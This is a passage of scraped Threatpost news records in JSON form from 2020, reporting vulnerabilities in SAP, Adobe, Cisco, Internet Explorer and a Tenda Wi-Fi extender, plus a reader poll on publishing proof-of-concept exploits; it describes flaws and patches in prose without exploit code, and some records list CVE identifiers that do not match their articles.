\u201cIn particular, there are different SAP solutions running on top of NetWeaver Java which share a common particularity: they are hyper-connected through APIs and interfaces. In other words, these applications are attached to other systems, both internal and external, usually leveraging high-privileged trust relationships.\u201d\n\nAnd while this is bad enough, the RECON vulnerability\u2019s risk increases when the affected solutions are exposed to the internet, to connect companies with business partners, employees and customers. These systems \u2013 Onapsis estimates there are at least 2,500 of them \u2013 have an increased likelihood of remote attacks, researchers said. Out of those vulnerable installations, 33 percent are in North America, 29 percent are in Europe and 27 percent are in Asia-Pacific.\n\n\u201cBecause of the type of unrestricted access an attacker would obtain by exploiting unpatched systems, this vulnerability also may constitute a deficiency in an enterprise\u2019s IT controls for regulatory mandates\u2014potentially impacting financial (Sarbanes-Oxley) and privacy (GDPR) compliance,\u201d according to the writeup.\n\n## Patch Available\n\nSAP\u2019s patch should be applied immediately, researchers recommended. While for now there is no indication that this has been exploited yet, Nunez told Threatpost that SAP customers should be on high alert now that the vulnerability has been announced and the DHS has sent out its US CERT alert warning.____\n\n\u201cNow that the vulnerability and patch have been released, skilled hackers can quickly develop exploit code,\u201d he said. \u201cBecause there are many vulnerable Internet exposed SAP systems, the complexity of the attack is significantly less.\u201d\n\nThat said, because of the complexity of mission-critical applications and limited maintenance windows, organizations are often challenged to rapidly apply SAP security notes, the Onapsis team acknowledged.\n\n\u201cIt\u2019s difficult to patch mission-critical applications such as those from SAP because they need to be constantly available,\u201d Nunez told Threatpost. \u201cTesting can take a long time depending upon complexity and customization of the apps. Also, there are limited maintenance windows available to apply the patches.\u201d\n\nHe added, \u201cFor SAP customers, critical vulnerabilities such as RECON highlight the need to protect mission-critical applications, by extending existing cybersecurity and compliance programs to ensure these applications are no longer in a blind spot. These systems are the lifeblood of the business and under the scope of strict compliance requirements, so there is simply nothing more important to secure.\u201d\n\n**_BEC and enterprise email fraud is surging, but DMARC can help \u2013 if it\u2019s done right. On July 15 at 2 p.m. ET, join Valimail Global Technical Director Steve Whittle and Threatpost for a [FREE webinar](<https://attendee.gotowebinar.com/register/441045308082589963?source=art>), \u201cDMARC: 7 Common Business Email Mistakes.\u201d This technical \u201cbest practices\u201d session will cover constructing, configuring, and managing email authentication protocols to ensure your organization is protected. [Click here to register](<https://attendee.gotowebinar.com/register/441045308082589963?source=art>) for this Threatpost webinar, sponsored by Valimail._**\n\n_ _\n", "cvss3": {}, "published": "2020-07-14T11:45:02", "type": "threatpost", "title": "Critical SAP Bug Allows Full Enterprise System Takeover", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407", "CVE-2020-6287"], "modified": "2020-07-14T11:45:02", "id": "THREATPOST:AA1F3088D813F95D476A024378F27010", "href": "https://threatpost.com/critical-sap-bug-enterprise-system-takeover/157392/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-16T23:18:05", "description": "When it comes to the release of proof-of-concept (PoC) exploits, more security experts agree that the positives outweigh the negatives, according to a recent and informal Threatpost poll.\n\n[![Threatpost Webinar Promo Mobile App Security ](https://media.threatpost.com/wp-content/uploads/sites/103/2020/01/21105319/Webinar_Promo_App_Security-300x220.png)](<https://register.gotowebinar.com/register/7679724086205178371?source=art>)Last week, [Threatpost conducted a reader poll](<https://threatpost.com/poll-published-poc-exploits-good-bad/151966/>) and almost 60 percent of 230 security pundits thought it was a \u201cgood idea\u201d to publish PoC code for zero days. Up to 38 percent of respondents, meanwhile, argued it wasn\u2019t a good idea.\n\nThe debate comes on the heels of PoC code being released last week for an [unpatched remote-code-execution vulnerability](<https://threatpost.com/unpatched-citrix-flaw-exploits/151748/>) in the Citrix Application Delivery Controller (ADC) and Citrix Gateway products. The PoC exploits, which were published to showcase how the vulnerability in a system can be exploited, raised questions about the positive and negative consequences of releasing such code for an unpatched vulnerability.\n\nSome argued that the code can be used to test networks and pinpoint vulnerable aspects of a system, as well as motivate companies to patch, but others in the security space have argued that PoC code gives attackers a blueprint to launch and automate attacks.\n\n## Security Motivator\n\nMany security experts point to the role of PoC code publication in motivating impacted companies and manufacturers to adopt more effective security measures. That was the argument of one such advocate, Dr. Richard Gold, head of security engineering at Digital Shadows, who said that PoC code enables security teams to test if their systems are exploitable or not.\n\n[![poll](https://media.threatpost.com/wp-content/uploads/sites/103/2020/01/21153903/tp-poll-300x134.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/01/21153903/tp-poll.png>)\n\n\u201cRather than having to rely on vendor notifications or software version number comparisons, a PoC allows the direct verification of whether a particular system is exploitable,\u201d Gold told Threatpost. \u201cThis ability to independently verify an issue allows organizations to better understand their exposure and make more informed decisions about remediation.\u201d\n\nIn fact, up to 85 percent of respondents said that the release of PoC code acts as an \u201ceffective motivator\u201d to push companies to patch. Seventy-nine percent say that the disclosure of a PoC exploit has been \u201cinstrumental\u201d in preventing an attack. And, 85 percent of respondents said that a PoC code release is acceptable if a vendor won\u2019t fix a bug in a timely manner.\n\nWhen it comes to the[ recent Citrix vulnerability (CVE-2019-19781)](<https://threatpost.com/critical-citrix-bug-80000-corporate-lans-at-risk/151444/>) for instance, advocates argue that, though PoC exploits were released before a patch was available, the code drew attention to the large amounts of vulnerable devices that were online. Citrix has also [accelerated its patch schedule](<https://threatpost.com/citrix-patch-rollout-critical-rce-flaw/152041/>) after PoC exploits were released (though there is no proof of correlation between this and the PoC exploit releases).\n\n\u201cAs a result [of the Citrix PoC exploits], there has been a widespread effort to patch or mitigate vulnerable devices rather than leaving them unpatched or unsecured,\u201d Gold stressed.\n\n## A Jump in Actual Exploits\n\nOn the flip-side of the argument, many argue that the release of the Citrix PoC exploits were a bad idea. They say attacks attempting to exploit the vulnerability skyrocketed as bad actors rushed to exploit the vulnerabilities before they are patched. In fact, 38 percent of respondents in Threatpost\u2019s poll argued that PoC exploit releases are a bad idea.\n\nMatt Thaxton, senior consultant at Crypsis Group, thinks that the \u201cultimate function of a PoC is to lower the bar for others to begin making use of the exploit.\u201d[![poll 2](https://media.threatpost.com/wp-content/uploads/sites/103/2020/01/21154131/tp-poll-2-300x135.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/01/21154131/tp-poll-2.png>)\n\n\u201cI believe there are more negatives than positives to publishing proofs, and generally, it is not a good idea,\u201d he told Threatpost. \u201cIn many cases, PoC\u2019s are put out largely for the notoriety/fame of the publisher and for the developer to \u2018flex\u2019 their abilities.\u201d\n\nJoseph Carson, chief security scientist at Thycotic, told Threatpost that while he thinks PoC exploits can have a positive impact, \u201cit is also important to include what defenders can do to reduce the risks such a methods to harden systems or best practices.\u201d\n\n\u201cLet\u2019s be realistic, once a zero-day is known, it is only a matter of time before nation states and cybercriminals are abusing them,\u201d said Carson. \u201cSometimes they already know about the zero-day and have been abusing them for years.\u201d\n\nRespondents in the poll were also split about the right amount of time that\u2019s appropriate to release PoC code after a flaw has been disclosed, with 29 percent arguing 90 days is the appropriate amount and others opting for one month (25 percent), one week (23 percent) or two weeks (14 percent).\n\nThis issue of a PoC exploit timeline also brings up important questions around patch management for companies dealing with the fallout of publicly-released code. Some, like Thaxton, say that PoC exploit advocates fail to recognize the complexity of patching large environments: \u201cI believe the release of PoC code functions more like an implied threat to anyone that doesn\u2019t patch: \u2018You\u2019d better patch . . . or else,'\u201d he said \u201cThis kind of threat would likely be unacceptable outside of the infosec world. This is even more obvious when PoCs are released before or alongside a patch for the vulnerability.\u201d\n\n## PoC Exploits Surge\n\nAt the end of the day, PoC exploits are continuing to be published. In fact, beyond the release of the Citrix PoC code, a slew of other PoC exploits were released last week, [including ones for](<https://threatpost.com/poc-exploits-published-for-microsoft-crypto-bug/151931/>) a recently patched [crypto-spoofing vulnerability](<https://threatpost.com/microsoft-patches-crypto-bug/151842/>) found by the [National Security Agency](<https://threatpost.com/podcast-nsa-reports-major-crypto-spoofing-bug-to-microsoft/151900/>) (NSA) and [reported to Microsoft](<https://threatpost.com/microsoft-patches-crypto-bug/151842/>); and another for critical flaws impacting the [Cisco Data Center Network Manager](<https://threatpost.com/cisco-dcnm-flaw-exploit/151949/>) tool for managing network platforms and switches.\n\nGold, for his part, argued that distinguishing a fine line between a theoretical vulnerability and a successful exploitation of a real system makes all the difference when it comes to PoC exploits versus active exploits.\n\n\u201cOnce that threshold has been crossed, it is understood that attackers will most likely be exploiting this vulnerability in real attacks,\u201d he said. \u201cThis often provided impetus to companies to patch their systems.\u201d\n\n**_Concerned about mobile security? _**[**Check out our free Threatpost webinar,**](<https://attendee.gotowebinar.com/register/7679724086205178371?source=art>) **_Top 8 Best Practices for Mobile App Security, on Jan. 22 at 2 p.m. ET. _**_**Poorly secured apps can lead to malware, data breaches and legal/regulatory trouble. Join our experts from **_**_Secureworks and White Ops to discuss the secrets of building a secure mobile strategy, one app at a time. _**[**_Click here to register_**](<https://attendee.gotowebinar.com/register/7679724086205178371?source=art>)**_._**\n\n**Share this article:**\n\n * [Editor's Picks](<https://threatpost.com/category/editors-picks/>)\n * [Featured](<https://threatpost.com/category/featured/>)\n * [Hacks](<https://threatpost.com/category/hacks/>)\n * [Web Security](<https://threatpost.com/category/web-security/>)\n", "cvss3": {}, "published": "2020-01-22T11:01:52", "type": "threatpost", "title": "PoC Exploits Do More Good Than Harm: Threatpost Poll", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-19781", "CVE-2020-24400", "CVE-2020-24407"], "modified": "2020-01-22T11:01:52", "id": "THREATPOST:48D622E76FCC26F28B32364668BB1930", "href": "https://threatpost.com/poc-exploits-do-more-good-than-harm-threatpost-poll/152053/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-10-15T22:22:25", "description": "Adobe has released an out-of-band patch for a critical vulnerability in its Creative Cloud Desktop Application for Windows. The flaw can be exploited by an attacker to delete specific arbitrary files on the victim\u2019s system.\n\nCreative Cloud acts as a central console for desktop users to quickly launch, manage and update their Adobe apps, such as Photoshop, Acrobat, Illustrator and more. Specifically affected is the Creative Cloud desktop application version 5.0 and earlier; Adobe has made the necessary fixes in version 5.1 of the application.\n\n\u201cSuccessful exploitation could lead to arbitrary file deletion in the context of the current user,\u201d said Adobe, [in a Tuesday post](<https://helpx.adobe.com/security/products/creative-cloud/apsb20-11.html>). \u201cAdobe recommends users update their product installations to the latest versions using the instructions referenced in the security bulletin.\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nThe flaw ([CVE-2020-3808](<https://vulmon.com/vulnerabilitydetails?qid=CVE-2020-3808>)) stems from a time-of-check to time-of-use (TOCTOU) race condition. A race condition occurs when two or more system operations can access shared data, and they try to change it at the same time. This specific type of race condition involves the checking of the state of a part of a system (such as a security credential) and the use of the results of that check being done at the same time.\n\nIf exploited, the flaw could enable arbitrary file deletion, allowing an attacker to delete certain critical files. However, further details about the attack \u2014 such as whether an attacker would need to be local or remote, or whether they would need to be authenticated \u2014 were not detailed by Adobe. Threatpost has reached out for further clarification.\n\nThe security upgrade is a \u201cpriority 2\u201d update. According to Adobe, that means that it resolves vulnerabilities in a product that has historically been at elevated risk \u2013 but that there are currently no known exploits.\n\n\u201cBased on previous experience, we do not anticipate exploits are imminent. As a best practice, Adobe recommends administrators install the update soon (for example, within 30 days),\u201d according to Adobe.\n\nIt\u2019s the second out-of-band update for [Adobe in March](<https://threatpost.com/critical-adobe-photoshop-acrobat-reader-flaws/153902/>). Last week Adobe disclosed an update addressing critical vulnerabilities in its Photoshop and Acrobat Reader products, which if exploited could allow arbitrary code-execution. Overall, Adobe last week patched flaws tied to 41 CVEs across its products, 29 of which were critical in severity. The fixes were released outside of Adobe\u2019s regularly scheduled update day, which was earlier in March (during which Adobe had no patches).\n\nAdobe credited Jiadong Lu of South China University of Technology and Zhiniang Peng of Qihoo 360 Core Security (@edwardzpeng) for finding the flaw.\n", "cvss3": {}, "published": "2020-03-24T17:46:31", "type": "threatpost", "title": "Critical Adobe Flaw Fixed in Out-of-Band Security Update", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407", "CVE-2020-3808"], "modified": "2020-03-24T17:46:31", "id": "THREATPOST:5B34B9C962E93AFAD432CA452F1AA316", "href": "https://threatpost.com/critical-adobe-flaw-out-of-band-security-update/154075/", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:P"}}, {"lastseen": "2020-10-15T22:24:08", "description": "A critical flaw in the High Availability (HA) service of Cisco Smart Software Manager On-Prem Base has been uncovered, which would open the door to remote attackers thanks to its use of a static, default password, even if the platform isn\u2019t directly connected to the internet.\n\nCisco Smart Software Manager On-Prem Base is used to manage a customer or partner\u2019s product licenses, providing near real-time visibility and reporting of the Cisco licenses that an organization purchases and consumes. According to Cisco\u2019s [product literature](<https://www.cisco.com/c/dam/en/us/products/collateral/cloud-systems-management/smart-software-manager-satellite/smart-software-manager-onprem.pdf>), the platform is aimed at \u201ccustomers who have strict security requirements and do not want their products to communicate with the central licensing database on Smart Software Manager over a direct Internet connection,\u201d like financial institutions, utilities, service providers and government organizations.\n\nThe hard-coded password is for \u201ca [HA] system account [that] is not under the control of the system administrator,\u201d Cisco said in [an advisory](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-on-prem-static-cred-sL8rDs8>) issued Wednesday on the bug, tracked as CVE-2020-3158. Essentially, anyone who discovered the password (presumably available in installation guides or other documentation available online), could log onto this account and then, from there, connect to the Cisco Smart Software Manager On-Prem Base.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\n\u201cVulnerabilities like CVE-2020-3158 could not be any easier for attackers to compromise,\u201d Chris Hass, director of information security and research at Automox, told Threatpost. \u201cSystems with default, hardcoded credentials completely removes the need for any real technical skill, and drastically reduces the time to be weaponized.\u201d\n\nThe vulnerability, which has a score of 9.8 on the CVSS bug-severity scale, \u201ccould allow an unauthenticated, remote attacker to access a sensitive part of the system with a high-privileged account,\u201d Cisco said. \u201cA successful exploit could allow the attacker to obtain read-and-write access to system data, including the configuration of an affected device.\u201d\n\nThe good news is, while attackers would gain access to a sensitive portion of the system, they would not have full administrative rights to control the device.\n\nNo workaround are available, but Cisco issued a patch this week (Cisco Smart Software Manager On-Prem release 7-202001). The vulnerability only affects systems if the HA feature is enabled. HA is not enabled by default.\n\nSteven Van Loo of hIQkru was given credit for discovering the flaw.\n\n\u201cIt is unfortunate that the [lessons of Mirai](<https://threatpost.com/mirai-botnet-sees-big-2019-growth-shifts-focus-to-enterprises/146547/>) have not translated into stronger security hardening practices,\u201d Hass said. \u201cAnd to see manufacturers and critical service providers continue to ignore the basics of cyber-hygiene is disappointing.\u201d\n\n## A Buggy Start to the Year\n\nCisco has released patches for a number of flaws already in 2020, including fixes for [five critical vulnerabilities](<https://threatpost.com/critical-cisco-cdpwn-flaws-network-segmentation/152546/>) that were discovered in Cisco Discovery Protocol (CDP), the info-sharing layer that maps all Cisco equipment on a network. Dubbed \u201cCDPwn,\u201d they can allow attackers with an existing foothold in the network to break through network segmentation efforts and remotely take over millions of devices.\n\nIn January, high-severity vulnerabilities affecting over a half dozen of its small business switches [were patched](<https://threatpost.com/cisco-patches-high-severity-bugs-in-switch-lineup/152392/>), which allow remote unauthenticated adversaries to access sensitive information and level denial-of-service (DoS) attacks against affected gear.\n\nSeparately, it has patched two high-severity vulnerabilities in its popular Webex video conferencing platform. [One of them ](<https://threatpost.com/cisco-webex-flaw-lets-unauthenticated-users-join-private-online-meetings/152191/>)could let strangers barge in on password-protected meetings \u2013 no authentication necessary; the other[ that was patched](<https://threatpost.com/cisco-webex-bug-allows-remote-code-execution/151724/>) could allow remote code execution.\n\nAlso in January, a critical Cisco vulnerability [emerged in its administrative management tool](<https://threatpost.com/cisco-critical-network-security-tool-flaw/152131/>) for Cisco network security solutions. The flaw could allow an unauthenticated, remote attacker to gain administrative privileges on impacted devices.\n\nAnd to kick off the year, [three critical vulnerabilities](<https://threatpost.com/cisco-patches-3-critical-bugs-nx-os/151529/>) impacting a key tool for managing its network platform and switches were patched. The bugs could allow an unauthenticated, remote attacker to bypass endpoint authentication and execute arbitrary actions with administrative privileges on targeted devices, the vendor said. Proof-of-concept exploits [emerged shortly](<https://threatpost.com/cisco-dcnm-flaw-exploit/151949/>) after disclosure.\n", "cvss3": {}, "published": "2020-02-20T17:29:46", "type": "threatpost", "title": "Critical Cisco Bug Opens Software Licencing Manager to Remote Attack", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407", "CVE-2020-3158"], "modified": "2020-02-20T17:29:46", "id": "THREATPOST:74D46F285623FE008F8AABA5323341D4", "href": "https://threatpost.com/critical-cisco-bug-software-licencing-remote-attack/153086/", "cvss": {"score": 8.8, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:N"}}, {"lastseen": "2020-10-16T23:18:13", "description": "An unpatched remote code-execution vulnerability in Internet Explorer is being actively exploited in the wild, Microsoft has announced. It\u2019s working on a patch. In the meantime, workarounds are available.\n\nThe bug (CVE-2020-0674) which is listed as critical in severity for IE 11, and moderate for IE 9 and IE 10, exists in the way that the jscript.dll scripting engine handles objects in memory in the browser, according to [Microsoft\u2019s advisory](<https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/ADV200001>), issued Friday.\n\nThe vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user \u2013 meaning that an adversary could gain the same user rights as the current user.\n\n[![Threatpost Webinar Promo Mobile App Security ](https://media.threatpost.com/wp-content/uploads/sites/103/2020/01/21105319/Webinar_Promo_App_Security-300x220.png)](<https://register.gotowebinar.com/register/7679724086205178371?source=art>)\n\n\u201cIf the current user is logged on with administrative user rights, an attacker who successfully exploited the vulnerability could take control of an affected system,\u201d Microsoft explained. \u201cAn attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\u201d\n\nAn attack could be carried out using a malicious website designed to exploit the vulnerability through IE, the advisory noted. Threat actors could lure victims to the site by sending an email, through watering-hole techniques, via malicious documents containing a web link and other social-engineering efforts.\n\nThere is a workaround available from Microsoft, as well as a [micropatch from 0patch](<https://blog.0patch.com/2020/01/micropatching-workaround-for-cve-2020.html>), released on Tuesday.\n\n## Darkhotel APT Active Attacks\n\nThe in-the-wild attacks are likely the work of the Asian APT known as Darkhotel, according to the researchers at Qihoo 360 who found the bug.\n\n\u201cThe impact [could be] no less than the damage caused by the previous WannaCry ransomware virus,\u201d the security firm said in a Chinese-language [web advisory](<https://www.geekpark.net/news/254734>). \u201cAt present, it is judged from the details and characteristics of the captured attacks that the zero-day vulnerability of IE browser is suspected to have come from the Peninsula\u2019s APT organization, Darkhotel.\u201d\n\nDarkhotel was first identified in [2014](<https://threatpost.com/darkhotel-apt-group-targeting-top-executives-in-long-term-campaign/109265/>) by Kaspersky researchers, who said the group had been active since at least 2007. The group is known for targeting diplomats and corporate executives via Wi-Fi networks at luxury hotels \u2013 but it has widened its targeting over the years, while continuing to [leverage zero-day vulnerabilities](<https://threatpost.com/darkhotel-exploits-microsoft-zero-day-vbscript-flaw/136685/>) and exploits.\n\nIn this case, Darkhotel is using Office documents for targeted attacks, according to Qihoo 360.\n\n\u201cThe attacker\u2019s in-field exploitation embeds the vulnerability in an Office document, and users will be successful when they open an Office document or browse the web,\u201d the firm warned. \u201cOnce the user opens the malicious document carrying the vulnerability, he will browse the malicious webpage and execute the attack program. The user is not even aware that the device has been controlled. The attacker can take the opportunity to implant ransomware, monitor and monitor, and steal sensitive information And so on.\u201d\n\n## Patch and Workaround\n\nWhile Microsoft is aware of \u201climited targeted attacks,\u201d a patch won\u2019t be released until next month\u2019s Patch Tuesday, according to the computing giant.\n\n\u201cOur standard policy is to release security updates on Update Tuesday, the second Tuesday of each month. This predictable schedule allows for partner quality assurance and IT planning, which helps maintain the Windows ecosystem as a reliable, secure choice for our customers,\u201d it said.\n\nOne of the reasons the sense of urgency may be less than one would expect with a zero-day is the fact that all supported versions of IE in their default configuration use Jscrip9.dll as their scripting engine, which is not vulnerable to the flaw. However, the issue affects versions of IE being used in Windows 7, which [reached end-of-life](<https://threatpost.com/get-ready-for-the-microsoft-windows-7-eol-on-january-14th/151571/>) last week and therefore no longer supported. Qihoo 360 warned that this install base in particular is at risk.\n\nFor those that do use jscript.dll, Microsoft detailed a workaround that involves using administrative commands to restrict access to the scripting library. It\u2019s not ideal however: It could result in reduced functionality for components or features that rely on jscript.dll.\n\n\u201cFor example, depending on the environment, this could include client configurations that leverage proxy automatic configuration scripts (PAC scripts),\u201d Microsoft said. \u201cThese features and others may be impacted.\u201d\n\nAlso, users will need to revert this workaround in order to install any future patches or updates.\n\nThe team at 0patch has meanwhile released micropatch this week that implements the workaround while addressing some of the downsides.\n\n> We are planning to issue a micropatch for CVE-2020-0674 next week which will prevent Internet Explorer from loading jscript.dll, effectively implementing Microsoft's workaround but without some unwanted side effects such as breaking the sfc command. \n(cont)\n> \n> \u2014 0patch (@0patch) [January 19, 2020](<https://twitter.com/0patch/status/1218889033373364229?ref_src=twsrc%5Etfw>)\n\n\u201cBecause the provided workaround has multiple negative side effects, and because it is likely that Windows 7 and Windows Server 2008 R2 users without Extended Security Updates will not get the patch at all (their support ended this month), we decided to provide a micropatch that simulates the workaround without its negative side effects,\u201d the company said in a blog. \u201cMicrosoft\u2019s workaround comprises setting permissions on jscript.dll such that nobody will be able to read it. This workaround has an expected negative side effect that if you\u2019re using a web application that employs legacy JScript (and can as such only be used with Internet Explorer), this application will no longer work in your browser.\u201d\n\nAccording to 0patch, other negative side effects of the workaround that the micropatch avoids are:\n\n * Windows Media Player is [reported to break on playing MP4 files](<https://www.askwoody.com/forums/topic/yet-another-jscript-vulnerability/#post-2086829>).\n * The sfc (Resource Checker), a tool that scans the integrity of all protected system files and replaces incorrect versions with correct Microsoft versions, [chokes on _jscript.dll_ with altered permissions](<https://www.askwoody.com/forums/topic/yet-another-jscript-vulnerability/#post-2086857>).\n * [Printing to \u201cMicrosoft Print to PDF\u201d is reported to break](<https://www.askwoody.com/forums/topic/yet-another-jscript-vulnerability/#post-2087468>).\n * Proxy automatic configuration scripts (PAC scripts) may not work.\n\n**_Concerned about mobile security? _**[**Check out our free Threatpost webinar,**](<https://attendee.gotowebinar.com/register/7679724086205178371?source=art>) **_Top 8 Best Practices for Mobile App Security, on Jan. 22 at 2 p.m. ET. _**_**Poorly secured apps can lead to malware, data breaches and legal/regulatory trouble. Join our experts from **_**_Secureworks and White Ops to discuss the secrets of building a secure mobile strategy, one app at a time. _**[**_Click here to register_**](<https://attendee.gotowebinar.com/register/7679724086205178371?source=art>)**_._**\n", "cvss3": {}, "published": "2020-01-21T14:58:58", "type": "threatpost", "title": "Microsoft Zero-Day Actively Exploited, Patch Forthcoming", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0674", "CVE-2020-24400", "CVE-2020-24407"], "modified": "2020-01-21T14:58:58", "id": "THREATPOST:16E580ECF9CBAD8F883D6241A7754060", "href": "https://threatpost.com/microsoft-zero-day-actively-exploited-patch/152018/", "cvss": {"score": 7.6, "vector": "AV:N/AC:H/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-15T22:17:39", "description": "A popular Wi-Fi extender for the home has multiple unpatched vulnerabilities, including the use of a weak, default password, according to researchers. Also, two of the bugs could allow complete remote control of the device.\n\nThe flaws have been found in Tenda PA6 Wi-Fi Powerline extender, version 1.0.1.21, which extends the wireless network throughout the house using [HomePlug AV2](<https://en.wikipedia.org/wiki/HomePlug>) technology.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\n\u201cA compromised device can become part of an internet of things (IoT) botnet that launches distributed denial-of-service (DDoS) attacks, used to pivot to other connected devices, leveraged to mine for cryptocurrency or used in various other unauthorized ways,\u201d explained researchers at IBM X-Force, [in a posting](<https://securityintelligence.com/posts/vulnerable-powerline-extenders-underline-lax-iot-security/>) last week.\n\n## **Web Server Woes**\n\nThe first two bugs are a command-injection issue ([CVE-2019-16213](<https://exchange.xforce.ibmcloud.com/vulnerabilities/172226?_ga=2.159458491.740009505.1593441219-1535918128.1584710346&cm_mc_uid=31770786977815754792789&cm_mc_sid_50200000=45644951593441218861>)); and a critical buffer overflow ([CVE-2019-19505](<https://exchange.xforce.ibmcloud.com/vulnerabilities/172228?_ga=2.159458491.740009505.1593441219-1535918128.1584710346&cm_mc_uid=31770786977815754792789&cm_mc_sid_50200000=45644951593441218861>)). They are found in the extender device\u2019s web server, under a process named \u201chttpd.\u201d\n\nThe command-injection vulnerability carries a rating of 8.8 out of 10 on the CVSS severity scale. It arises from the fact that under the \u201cPowerline\u201d section in the user interface (UI) of the extender\u2019s web server, the user can see and change the name of the other powerline communication (PLC) devices which are attached to the same powerline network. An authenticated user can inject an arbitrary command just by changing the device name of an attached PLC adapter with a specially crafted string, the researchers noted. Since the web server is running with root privileges, an attacker could leverage this injection to fully compromise the device.\n\n\u201cThe name entered by the user is concatenated as an argument to the \u2018homeplugctl\u2019 application and being executed by the system\u2019 library function,\u201d according to IBM X-Force. \u201cThis user input is just URL decoded, without any validation or sanitation.\u201d\n\nThe second vulnerability is found in the \u201cWireless\u201d section in the web-UI: By adding a device to the Wireless Access Control list with a specially crafted hostname, a remote attacker could overflow a buffer and execute arbitrary code on the system or cause the application to crash. It\u2019s listed as critical, with a 9.8 severity rating.\n\n\u201cIt is possible to overwrite the return address register $ra and begin controlling program execution,\u201d according to the analysis. \u201cA motivated attacker can utilize this to potentially execute arbitrary code. Note that the overflow isn\u2019t a result of an unsafe call to functions like strcpy or memcpy.\u201d\n\n## **Pivoting to a Remote Attack**\n\nBoth bugs are post-authentication \u2013 so a user would need to be signed in to exploit the bugs. But there\u2019s a big caveat to this: The web server itself is password-protected with the default (and very guessable) password \u201cadmin.\u201d\n\n\u201cBoth vulnerabilities in this web-UI allow an authenticated user to compromise the device with root privileges, and while authentication should provide a layer of security, in this case, with a weak and guessable password, it should not be considered adequate protection,\u201d explained the researchers.\n\nSimilarly, the web server interface should only be accessible from the local network \u2013 however, a wrong setup and configuration can expose it to the internet and therefore remote attackers. And, IBM X-Force found that combining these vulnerabilities with a DNS rebinding technique provides the attacker with a remote vector that doesn\u2019t depend on the user\u2019s configuration.\n\n\u201cThat remote attack vector is not far-fetched here, and using a technique called DNS rebinding, we were able to perform the same attack from a remote website, overcoming same-origin limitations by the browser,\u201d said the researchers. \u201cWith this known technique, once the victim is tricked into visiting a malicious website, their entire local network is exposed to the attacker.\u201d\n\nDNS rebinding involves using a malicious JavaScript payload to scan the local network looking for vulnerable powerline extenders. If found, a login could be attempted using a list of popular passwords.\n\n\u201cIn our demo we were able to get a reverse shell on the vulnerable device just by having someone with access to the device\u2019s network visit our website,\u201d said the researchers. This is significant as it allows an attacker to gain control over the vulnerable devices remotely just by having the victim visit a website.\u201d\n\n## **Pre-Auth Denial of Service**\n\nThe third vulnerability ([CVE-2019-19506](<https://exchange.xforce.ibmcloud.com/vulnerabilities/172229?_ga=2.159458491.740009505.1593441219-1535918128.1584710346&cm_mc_uid=31770786977815754792789&cm_mc_sid_50200000=45644951593441218861>)), which rates 7.5 out of 10 on the severity scale, resides in a process named \u201chomeplugd,\u201d which is related to the extender device\u2019s powerline functionality. By sending a specially crafted UDP packet, an attacker could exploit this vulnerability to cause the device to reboot. By causing a recurring reboot, the device will loop through restarts and not be able to carry out its functions or connect to the internet.\n\nUnlike the other two bugs, an attacker in this case would not need to be authenticated.\n\n\u201cAs we were inspecting the open ports and their corresponding services on the extender, we noticed the homeplugd process listening on UDP port 48912,\u201d according to the analysis. \u201cReversing the binary revealed to us that no authentication was required to interact with this service.\u201d\n\n## **Patch Status**\n\nThere are for now no patches for the issues.\n\n\u201cUnfortunately, despite repeated attempts to contact Tenda, IBM is yet to receive any reply to its emails and phone calls,\u201d the researchers said. \u201cIt remains unknown whether the company is working on patches.\u201d\n\nThreatpost has also reached out to the vendor for more information.\n\nTo protect themselves, users should change default passwords on all devices that connect to the internet; update firmware regularly; and use use internal filtering controls or a firewall.\n\n\u201cWhile most flaws in popular software are addressed and patched, devices like powerline extenders, [and even routers](<https://threatpost.com/cisco-ios-xe-flaw-sd-wan-routers/155319/>), do not seem to receive the same treatment, and are all too often left exposed to potential attacks,\u201d the researchers concluded. \u201cBut these devices are not just a connectivity plug on the edge of the network. A critical enough vulnerability can be leveraged to reach other parts of the network. That is especially true for routers, but it also extends to other devices that have some sort of interface into the network.\u201d\n\n**_BEC and enterprise email fraud is surging, but DMARC can help \u2013 if it\u2019s done right. On July 15 at 2 p.m. ET, join Valimail Global Technical Director Steve Whittle and Threatpost for a [FREE webinar](<https://attendee.gotowebinar.com/register/441045308082589963?source=art>), \u201cDMARC: 7 Common Business Email Mistakes.\u201d This technical \u201cbest practices\u201d session will cover constructing, configuring, and managing email authentication protocols to ensure your organization is protected. [Click here to register](<https://attendee.gotowebinar.com/register/441045308082589963?source=art>) for this Threatpost webinar, sponsored by Valimail._**\n", "cvss3": {}, "published": "2020-06-29T16:48:17", "type": "threatpost", "title": "Unpatched Wi-Fi Extender Opens Home Networks to Remote Control", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-16213", "CVE-2019-19505", "CVE-2019-19506", "CVE-2020-24400", "CVE-2020-24407", "CVE-2020-5135"], "modified": "2020-06-29T16:48:17", "id": "THREATPOST:7FC78356FBFC440CD45BB996E2A8A5C8", "href": "https://threatpost.com/unpatched-wi-fi-extender-remote-control/156990/", "cvss": {"score": 9.0, "vector": 